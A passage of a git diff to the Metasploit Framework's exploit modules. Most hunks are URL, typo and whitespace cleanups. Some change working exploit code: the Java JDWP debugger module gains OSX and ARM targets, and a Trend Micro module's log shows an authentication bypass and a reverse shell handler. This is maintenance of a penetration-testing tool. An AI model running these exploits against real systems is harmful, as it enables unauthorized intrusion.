+      store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])
     else
       fail_with(Failure::Unknown, "Upload failed")
     end
@@ -404,35 +404,7 @@ class MetasploitModule < Msf::Exploit::Remote
     return true
   end
 
-  def report_tomcat_credential
-    service_data = {
-        address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
-        port: datastore['RPORT'],
-        service_name: (ssl ? "https" : "http"),
-        protocol: 'tcp',
-        workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-        origin_type: :service,
-        module_fullname: self.fullname,
-        private_type: :password,
-        private_data: datastore['HttpPassword'],
-        username: datastore['HttpUsername']
-    }
-
-    credential_data.merge!(service_data)
-
-    credential_core = create_credential(credential_data)
-
-    login_data = {
-        access_level: 'Admin',
-        core: credential_core,
-        last_attempted_at: DateTime.now,
-        status: Metasploit::Model::Login::Status::SUCCESSFUL
-    }
-    login_data.merge!(service_data)
-    create_credential_login(login_data)
+  def service_details
+    super.merge({ access_level: 'Admin' })
   end
-
 end
diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb
index 9bc59b1ca8..64fd05d028 100644
--- a/modules/exploits/multi/http/traq_plugin_exec.rb
+++ b/modules/exploits/multi/http/traq_plugin_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb b/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb
index 0493ab567c..586b0ab0ef 100644
--- a/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb
+++ b/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -24,7 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote
           Note: You have the option to use the authentication bypass or not since it requires
           that the server is rebooted. The password reset will render the authentication useless.
           Typically, if an administrator cant login, they will bounce the box. Therefore, this
-          module performs a heart beat request until the box is bounced and then attempts to login
+          module performs a heartbeat request until the box is bounced and then attempts to login
           and to perform the command injection. This module has been tested on version 2.6.1062r1
           of the appliance.
       },
@@ -227,7 +227,7 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 end
 =begin
-saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc 
+saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc
 [*] Processing scripts/trend.rc for ERB directives.
 resource (scripts/trend.rc)> use exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi
 resource (scripts/trend.rc)> set RHOST 192.168.100.2
@@ -239,9 +239,9 @@ LHOST => 192.168.100.13
 resource (scripts/trend.rc)> exploit
 [*] Exploit running as background job.
 
-[*] Started reverse TCP handler on 192.168.100.13:4444 
+[*] Started reverse TCP handler on 192.168.100.13:4444
 [*] Bypassing authentication...
-msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > 
+msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) >
 [+] The password has been reset!
 [*] Waiting for the reboot...
 [*] 192.168.100.2:443 - Starting up our web service on http://192.168.100.13:1337/nnDBuOUMuKnxP ...
diff --git a/modules/exploits/multi/http/uptime_file_upload_1.rb b/modules/exploits/multi/http/uptime_file_upload_1.rb
index 1c175fa8ac..4d34085501 100644
--- a/modules/exploits/multi/http/uptime_file_upload_1.rb
+++ b/modules/exploits/multi/http/uptime_file_upload_1.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/multi/http/uptime_file_upload_2.rb b/modules/exploits/multi/http/uptime_file_upload_2.rb
index 29083a24ed..3fd494853f 100644
--- a/modules/exploits/multi/http/uptime_file_upload_2.rb
+++ b/modules/exploits/multi/http/uptime_file_upload_2.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
         which can be exploited by exploits/multi/http/uptime_file_upload_1.rb, but it was mitigated
         by the vendor.
 
-        Although the mitigiation in place will prevent uptime_file_upload_1.rb from working, it
+        Although the mitigation in place will prevent uptime_file_upload_1.rb from working, it
         can still be bypassed and gain privilege escalation, and allows the attacker to upload file
         again, and execute arbitrary commands.
       },
diff --git a/modules/exploits/multi/http/v0pcr3w_exec.rb b/modules/exploits/multi/http/v0pcr3w_exec.rb
index bd9b03842d..c88782188d 100644
--- a/modules/exploits/multi/http/v0pcr3w_exec.rb
+++ b/modules/exploits/multi/http/v0pcr3w_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb
index f3ac343c6b..fc578f414c 100644
--- a/modules/exploits/multi/http/vbseo_proc_deutf.rb
+++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -87,5 +87,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     vprint_status("Server replied with #{response ? response.code : "nothing"}")
   end
-
 end
diff --git a/modules/exploits/multi/http/vbulletin_unserialize.rb b/modules/exploits/multi/http/vbulletin_unserialize.rb
index 25ad97daec..529413f016 100644
--- a/modules/exploits/multi/http/vbulletin_unserialize.rb
+++ b/modules/exploits/multi/http/vbulletin_unserialize.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/visual_mining_netcharts_upload.rb b/modules/exploits/multi/http/visual_mining_netcharts_upload.rb
index 3f06b86c70..75304dd924 100644
--- a/modules/exploits/multi/http/visual_mining_netcharts_upload.rb
+++ b/modules/exploits/multi/http/visual_mining_netcharts_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/vtiger_install_rce.rb b/modules/exploits/multi/http/vtiger_install_rce.rb
index 34fe5160de..23d10555fd 100644
--- a/modules/exploits/multi/http/vtiger_install_rce.rb
+++ b/modules/exploits/multi/http/vtiger_install_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/vtiger_php_exec.rb b/modules/exploits/multi/http/vtiger_php_exec.rb
index 157345ce01..b12508d8d0 100644
--- a/modules/exploits/multi/http/vtiger_php_exec.rb
+++ b/modules/exploits/multi/http/vtiger_php_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description' => %q{
       vTiger CRM allows an authenticated user to upload files to embed within documents.
       Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP
-      script and execute aribtrary PHP code remotely.
+      script and execute arbitrary PHP code remotely.
 
       This module was tested against vTiger CRM v5.4.0 and v5.3.0.
       },
diff --git a/modules/exploits/multi/http/vtiger_soap_upload.rb b/modules/exploits/multi/http/vtiger_soap_upload.rb
index 87371d346a..ed54ac1f02 100644
--- a/modules/exploits/multi/http/vtiger_soap_upload.rb
+++ b/modules/exploits/multi/http/vtiger_soap_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload',
       'Description'    => %q{
-          vTiger CRM allows an user to bypass authentication when requesting SOAP services.
+          vTiger CRM allows a user to bypass authentication when requesting SOAP services.
           In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP
           service. By combining both vulnerabilities an attacker can upload and execute PHP
           code. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu
@@ -178,5 +178,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     return res
   end
-
 end
diff --git a/modules/exploits/multi/http/webnms_file_upload.rb b/modules/exploits/multi/http/webnms_file_upload.rb
index 2f35b61f13..65e562ed17 100644
--- a/modules/exploits/multi/http/webnms_file_upload.rb
+++ b/modules/exploits/multi/http/webnms_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -97,7 +97,7 @@ Windows and Linux.
 
     if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/
       if is_exploit
-        print_status("#{peer} - Payload uploaded successfully")
+        print_good("#{peer} - Payload uploaded successfully")
       end
       return jsp_name
     else
diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb
index 26981efc13..f794504e09 100644
--- a/modules/exploits/multi/http/webpagetest_upload_exec.rb
+++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a vulnerability found in WebPageTest's Upload Feature. By
         default, the resultimage.php file does not verify the user-supplied item before
-        saving it to disk, and then places this item in the web directory accessable by
+        saving it to disk, and then places this item in the web directory accessible by
         remote users.  This flaw can be abused to gain remote code execution.
       },
       'License'        => MSF_LICENSE,
diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb
index b47a61e70a..9419a01768 100644
--- a/modules/exploits/multi/http/werkzeug_debug_rce.rb
+++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
@@ -80,5 +79,4 @@ class MetasploitModule < Msf::Exploit::Remote
       print_error('Secret code not detected.')
     end
   end
-
 end
diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb
index 2b313f2ce0..56368c7074 100644
--- a/modules/exploits/multi/http/wikka_spam_exec.rb
+++ b/modules/exploits/multi/http/wikka_spam_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a vulnerability found in WikkaWiki.  When the spam logging
         feature is enabled, it is possible to inject PHP code into the spam log file via the
-        UserAgent header , and then request it to execute our payload.  There are at least
+        UserAgent header, and then request it to execute our payload.  There are at least
         three different ways to trigger spam protection, this module does so by generating
         10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).
 
diff --git a/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb b/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb
index 0aa992660d..32025f6df2 100644
--- a/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb
+++ b/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/x7chat2_php_exec.rb b/modules/exploits/multi/http/x7chat2_php_exec.rb
index 8641d629cf..25dd0dd60d 100644
--- a/modules/exploits/multi/http/x7chat2_php_exec.rb
+++ b/modules/exploits/multi/http/x7chat2_php_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
       'Description'    => %q{
         This module exploits a post-auth vulnerability found in X7 Chat versions
-        2.0.0  up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
+        2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
         uses preg_replace() function with the /e modifier. This allows a remote
         authenticated attacker to execute arbitrary PHP code in the remote machine.
       },
diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb
index 34c7834c5c..de100b0b9a 100644
--- a/modules/exploits/multi/http/zabbix_script_exec.rb
+++ b/modules/exploits/multi/http/zabbix_script_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,9 +14,9 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
       ZABBIX allows an administrator to create scripts that will be run on hosts.
       An authenticated attacker can create a script containing a payload, then a host
-      with an IP of 127.0.0.1 and run the abitrary script on the ZABBIX host.
+      with an IP of 127.0.0.1 and run the arbitrary script on the ZABBIX host.
 
-      This module was tested againt Zabbix v2.0.9.
+      This module was tested against Zabbix v2.0.9.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/multi/http/zemra_panel_rce.rb b/modules/exploits/multi/http/zemra_panel_rce.rb
index 3dd63843cb..2055816163 100644
--- a/modules/exploits/multi/http/zemra_panel_rce.rb
+++ b/modules/exploits/multi/http/zemra_panel_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/zenworks_configuration_management_upload.rb b/modules/exploits/multi/http/zenworks_configuration_management_upload.rb
index 235c91ca41..386c7b0cb8 100644
--- a/modules/exploits/multi/http/zenworks_configuration_management_upload.rb
+++ b/modules/exploits/multi/http/zenworks_configuration_management_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -87,7 +87,7 @@ class MetasploitModule < Msf::Exploit::Remote
       }
     })
     if res && res.code == 200
-      print_status("Upload appears to have been successful")
+      print_good("Upload appears to have been successful")
     else
       print_error("Failed to upload, try again with a different path?")
       return false
diff --git a/modules/exploits/multi/http/zenworks_control_center_upload.rb b/modules/exploits/multi/http/zenworks_control_center_upload.rb
index 97e34dce78..e5918279e8 100644
--- a/modules/exploits/multi/http/zenworks_control_center_upload.rb
+++ b/modules/exploits/multi/http/zenworks_control_center_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'        => 'Novell ZENworks Configuration Management Remote Execution',
       'Description' => %q{
           This module exploits a code execution flaw in Novell ZENworks Configuration
-        Management 10 SP3 and 11 SP2. The vulnerability exists in the ZEnworks Control
+        Management 10 SP3 and 11 SP2. The vulnerability exists in the ZENworks Control
         Center application, allowing an unauthenticated attacker to upload a malicious file
         outside of the TEMP directory and then make a second request that allows for
         arbitrary code execution. This module has been tested successfully on Novell
@@ -121,5 +121,4 @@ class MetasploitModule < Msf::Exploit::Remote
       'method' => 'GET',
     })
   end
-
 end
diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb
index 59a1579aed..b8f06786d9 100644
--- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb
+++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Zpanel Remote Unauthenticated RCE',
       'Description'    => %q{
         This module exploits an information disclosure vulnerability
-        in Zpanel. The vulnerability is due to a vulnerable version
+        in ZPanel. The vulnerability is due to a vulnerable version
         of pChart used by ZPanel that allows unauthenticated users to read
         arbitrary files remotely on the file system. This particular module
         utilizes this vulnerability to identify the username/password
@@ -216,7 +216,7 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
     if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
-      print_good('PHPMyAdmin login successful!')
+      print_good('PHPMyAdmin Login Successful')
       return new_cookies, token
     end
   end
diff --git a/modules/exploits/multi/ids/snort_dce_rpc.rb b/modules/exploits/multi/ids/snort_dce_rpc.rb
index 7f3c2f8703..815ffc9fce 100644
--- a/modules/exploits/multi/ids/snort_dce_rpc.rb
+++ b/modules/exploits/multi/ids/snort_dce_rpc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -108,7 +108,7 @@ class MetasploitModule < Msf::Exploit::Remote
     p.tcp_flags.psh = 1
     p.tcp_flags.ack = 1
 
-    # SMB packet borrowed from http://exploit-db.com/exploits/3362
+    # SMB packet borrowed from https://www.exploit-db.com/exploits/3362
 
     # NetBIOS Session Service, value is the number of bytes in the TCP segment,
     # must be greater than the total size of the payload. Statically set.
diff --git a/modules/exploits/multi/local/allwinner_backdoor.rb b/modules/exploits/multi/local/allwinner_backdoor.rb
index 94b376abc2..85fbc832c9 100644
--- a/modules/exploits/multi/local/allwinner_backdoor.rb
+++ b/modules/exploits/multi/local/allwinner_backdoor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb
index a8ff2fecec..88b8f68f2e 100644
--- a/modules/exploits/multi/misc/arkeia_agent_exec.rb
+++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -557,5 +557,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def autofilter
     true
   end
-
 end
diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb
index 7d1ce705bc..09823e9be7 100644
--- a/modules/exploits/multi/misc/batik_svg_java.rb
+++ b/modules/exploits/multi/misc/batik_svg_java.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb b/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb
index c33cf547bc..239aef6a90 100644
--- a/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb
+++ b/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb
index 0d47eb01ff..ffbe1af96b 100644
--- a/modules/exploits/multi/misc/hp_vsa_exec.rb
+++ b/modules/exploits/multi/misc/hp_vsa_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/misc/indesign_server_soap.rb b/modules/exploits/multi/misc/indesign_server_soap.rb
index dd1abd5d6b..86881c09d3 100644
--- a/modules/exploits/multi/misc/indesign_server_soap.rb
+++ b/modules/exploits/multi/misc/indesign_server_soap.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution',
       'Description'    => %q{
           This module abuses the "RunScript" procedure provided by the SOAP interface of
-        Adobe InDesign Server, to execute abritary vbscript (Windows) or applescript(OSX).
+        Adobe InDesign Server, to execute arbitrary vbscript (Windows) or applescript (OSX).
 
         The exploit drops the payload on the server and must be removed manually.
       },
@@ -172,5 +172,4 @@ set returnValue to "/tmp/#{payload_name}"
     end
 
   end
-
 end
diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb
index 2c3cdae76a..779dd93574 100644
--- a/modules/exploits/multi/misc/java_jdwp_debugger.rb
+++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -91,26 +91,19 @@ class MetasploitModule < Msf::Exploit::Remote
           ['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
           ['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
         ],
-      'Platform'       => %w{ linux win },
-      'Arch'           => ARCH_X86,
+      'Platform'       => %w{ linux osx win },
+      'Arch'           => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
       'Payload'        =>
         {
-          'Space'        => 2048,
+          'Space'        => 10000000,
           'BadChars'    => '',
           'DisableNops' => true
         },
       'Targets'        =>
         [
-          [ 'Linux x86 (Native Payload)',
-            {
-                'Platform' => 'linux'
-            }
-          ],
-          [ 'Windows x86 (Native Payload)',
-            {
-              'Platform' => 'win'
-            }
-          ]
+          [ 'Linux (Native Payload)', { 'Platform' => 'linux' } ],
+          [ 'OSX (Native Payload)', { 'Platform' => 'osx' } ],
+          [ 'Windows (Native Payload)', { 'Platform' => 'win' } ]
         ],
       'DefaultTarget'  => 0,
       'License'        => MSF_LICENSE,
@@ -175,24 +168,18 @@ class MetasploitModule < Msf::Exploit::Remote
     if pkt_len < 4
       fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
     end
-    pkt_len = pkt_len - 4
-
-    response = sock.get_once(pkt_len, timeout)
-    fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
-    while response.length < pkt_len
-      partial = sock.get_once(pkt_len, timeout)
-      fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
-      response << partial
-    end
-
-    fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len
-
-    id, flags, err_code = response.unpack('NCn')
-    response.slice!(0..6)
+    id, flags, err_code = sock.get_once(7, timeout).unpack('NCn')
     if err_code != 0 && flags == REPLY_PACKET_TYPE
       fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
     end
 
+    response = ""
+    while response.length + 11 < pkt_len
+      partial = sock.get_once(pkt_len, timeout)
+      fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
+      response << partial
+    end
+    fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length + 11 == pkt_len
     response
   end
 
@@ -207,8 +194,7 @@ class MetasploitModule < Msf::Exploit::Remote
   # Unpacks received string structure from the server response into a normal string
   def read_string(data)
     data_len = data.unpack('N')[0]
-    data.slice!(0..3)
-    return data.slice!(0,data_len)
+    return data[4,data_len]
   end
 
   # Creates a new string object in the target VM and returns its id
@@ -252,10 +238,11 @@ class MetasploitModule < Msf::Exploit::Remote
   # Parses given data according to a set of formats
   def parse_entries(buf, formats, explicit=true)
     entries = []
+    index = 0
 
     if explicit
       nb_entries = buf.unpack('N')[0]
-      buf.slice!(0..3)
+      buf = buf[4..-1]
     else
       nb_entries = 1
     end
@@ -270,25 +257,25 @@ class MetasploitModule < Msf::Exploit::Remote
 
       formats.each do |fmt,name|
         if fmt == "L" || fmt == 8
-          data[name] = buf.unpack('Q>')[0]
-          buf.slice!(0..7)
+          data[name] = buf[index, 8].unpack('Q>')[0]
+          index += 8
         elsif fmt == "I" || fmt == 4
-          data[name] = buf.unpack('N')[0]
-          buf.slice!(0..3)
+          data[name] = buf[index, 4].unpack('N')[0]
+          index += 4
         elsif fmt == "S"
-          data_len = buf.unpack('N')[0]
-          buf.slice!(0..3)
-          data[name] = buf.slice!(0,data_len)
+          data_len = buf[index, 4].unpack('N')[0]
+          data[name] = buf[index + 4, data_len]
+          index += 4 + data_len
         elsif fmt == "C"
-          data[name] = buf.unpack('C')[0]
-          buf.slice!(0)
+          data[name] = buf[index].unpack('C')[0]
+          index += 1
         elsif fmt == "Z"
-          t = buf.unpack('C')[0]
-          buf.slice!(0)
+          t = buf[index].unpack('C')[0]
           if t == 115
-            data[name] = solve_string(buf.slice!(0..7))
+            data[name] = solve_string(buf[index + 1, 8])
+            index += 9
           elsif t == 73
-            data[name], buf = buf.unpack('NN')
+            data[name], buf = buf[index +1, 4].unpack('NN')
           end
         else
           fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
@@ -340,13 +327,13 @@ class MetasploitModule < Msf::Exploit::Remote
     sock.put(create_packet(ALLTHREADS_SIG))
     response = read_reply
     num_threads = response.unpack('N').first
-    response.slice!(0..3)
+    index = 4
 
     size = @vars["objectid_size"]
     num_threads.times do
-      t_id = unformat(size, response[0..size-1])
+      t_id = unformat(size, response[index, size])
       @threads[t_id] = nil
-      response.slice!(0..size-1)
+      index += size
     end
   end
 
@@ -429,10 +416,8 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::Unknown, "Bad response when getting value for field")
     end
 
-    response.slice!(0..4)
-
     len = @vars["objectid_size"]
-    value = unformat(len, response)
+    value = unformat(len, response[5..-1])
 
     value
   end
@@ -688,15 +673,16 @@ class MetasploitModule < Msf::Exploit::Remote
     when 'linux'
       path = temp_path || '/tmp/'
       payload_exe = "#{path}#{payload_exe}"
-      if @os.downcase =~ /win/
-        print_warning("#{@os} system detected but using Linux target...")
-      end
+    when 'osx'
+      path = temp_path || '/private/tmp/'
+      payload_exe = "#{path}#{payload_exe}"
     when 'win'
       path = temp_path || './'
       payload_exe = "#{path}#{payload_exe}.exe"
-      unless @os.downcase =~ /win/
-        print_warning("#{@os} system detected but using Windows target...")
-      end
+    end
+
+    if @os.downcase =~ /target['Platform']/
+      print_warning("#{@os} system detected but using #{target['Platform']} target...")
     end
 
     return payload_exe, pl_exe
@@ -900,7 +886,7 @@ class MetasploitModule < Msf::Exploit::Remote
     close_file(thread_id, file)
 
     # 5b. When linux arch, give execution permissions to file
-    if target['Platform'] == 'linux'
+    if target['Platform'] == 'linux' || target['Platform'] == 'osx'
       cmd = "chmod +x #{payload_exe}"
       execute_command(thread_id, cmd)
     end
diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb
index 37de47d066..a8181eeeda 100644
--- a/modules/exploits/multi/misc/java_jmx_server.rb
+++ b/modules/exploits/multi/misc/java_jmx_server.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -29,7 +29,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'References'     =>
         [
